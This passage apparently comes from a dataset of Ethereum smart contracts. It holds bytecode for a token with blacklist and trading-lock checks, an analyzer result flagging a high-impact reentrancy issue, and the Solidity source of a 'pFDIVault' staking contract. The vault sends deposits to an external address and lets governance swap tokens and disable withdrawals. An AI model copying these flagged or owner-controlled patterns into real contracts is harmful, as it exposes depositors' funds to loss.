161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fba213c63275a69cf4d2c13ee6e22bf12eeabc29937c49d479897de4473c327564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,886
0x2b84ac57440941a1219fb5c020f3a4ac134a736c
/** *Submitted for verification at Etherscan.io on 2020-11-14 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pFDIVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct RewardDivide { uint256 amount; uint256 startTime; uint256 checkTime; } string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public totalDeposit; mapping(address => uint256) public depositBalances; mapping(address => uint256) public rewardBalances; address[] public addressIndices; mapping(uint256 => RewardDivide) public _rewards; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() public view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() public view returns (uint256) { return token1.balanceOf(address(this)); } function rewardUpdate() public { if (_rewardCount > 0 && totalDeposit > 0) { uint256 i; uint256 j; for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) { uint256 duration; if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) { duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime); _rewards[i].startTime = uint256(-1); } else { duration = block.timestamp.sub(_rewards[i].checkTime); } _rewards[i].checkTime = block.timestamp; uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration); uint256 addAmount; for (j = 0; j < addressIndices.length; j++) { addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit); rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount); } if (i == 0) { break; } } } } function depositAll() external { deposit(token0.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { require(_amount > 0, "can't deposit 0"); rewardUpdate(); uint256 arrayLength = addressIndices.length; bool found = false; for (uint256 i = 0; i < arrayLength; i++) { if (addressIndices[i]==msg.sender){ found=true; break; } } if(!found){ addressIndices.push(msg.sender); } uint256 feeAmount = _amount.mul(feePermill).div(1000); uint256 realAmount = _amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); totalDeposit = totalDeposit.add(realAmount); depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount); emit Deposited(msg.sender, realAmount); } } function sendReward(uint256 _amount) external { require(_amount > 0, "can't reward 0"); require(totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), _amount); rewardUpdate(); _rewards[_rewardCount].amount = _amount; _rewards[_rewardCount].startTime = block.timestamp; _rewards[_rewardCount].checkTime = block.timestamp; _rewardCount++; emit SentReward(_amount); } function claimRewardAll() external { claimReward(uint256(-1)); } function claimReward(uint256 _amount) public { require(_rewardCount > 0, "no reward amount"); rewardUpdate(); if (_amount > rewardBalances[msg.sender]) { _amount = rewardBalances[msg.sender]; } require(_amount > 0, "can't claim reward 0"); token1.safeTransfer(msg.sender, _amount); rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount); emit ClaimedReward(msg.sender, _amount); } function withdrawAll() external { withdraw(uint256(-1)); } function withdraw(uint256 _amount) public { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); rewardUpdate(); if (_amount > depositBalances[msg.sender]) { _amount = depositBalances[msg.sender]; } require(_amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, _amount); depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount); totalDeposit = totalDeposit.sub(_amount); emit Withdrawn(msg.sender, _amount); } function availableRewardAmount(address owner) public view returns(uint256) { uint256 i; uint256 availableReward = rewardBalances[owner]; if (_rewardCount > 0 && totalDeposit > 0) { for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) { uint256 duration; if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) { duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime); } else { duration = block.timestamp.sub(_rewards[i].checkTime); } uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration); uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit); availableReward = availableReward.add(addAmount); if (i == 0) { break; } } } return availableReward; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c35565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c56565b61021e6004803603602081101561048d57600080fd5b5035610c68565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c8f565b6102e0600480360360208110156104d057600080fd5b5035610d09565b6102f2610e4d565b6102e0600480360360208110156104f557600080fd5b5035610e53565b6102e06004803603602081101561051257600080fd5b50356001600160a01b031661103c565b6102e06004803603602081101561053857600080fd5b503563ffffffff166110b0565b6102f2611128565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611173565b6102e06004803603602081101561058957600080fd5b50356111e7565b6102e0600480360360208110156105a657600080fd5b50351515611318565b61021e61137d565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff1661138c565b6102e06113e9565b6102f2611466565b6102e061146c565b6102f2611659565b61060261165f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611bd4565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a161146c565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b60448201529051908190036064019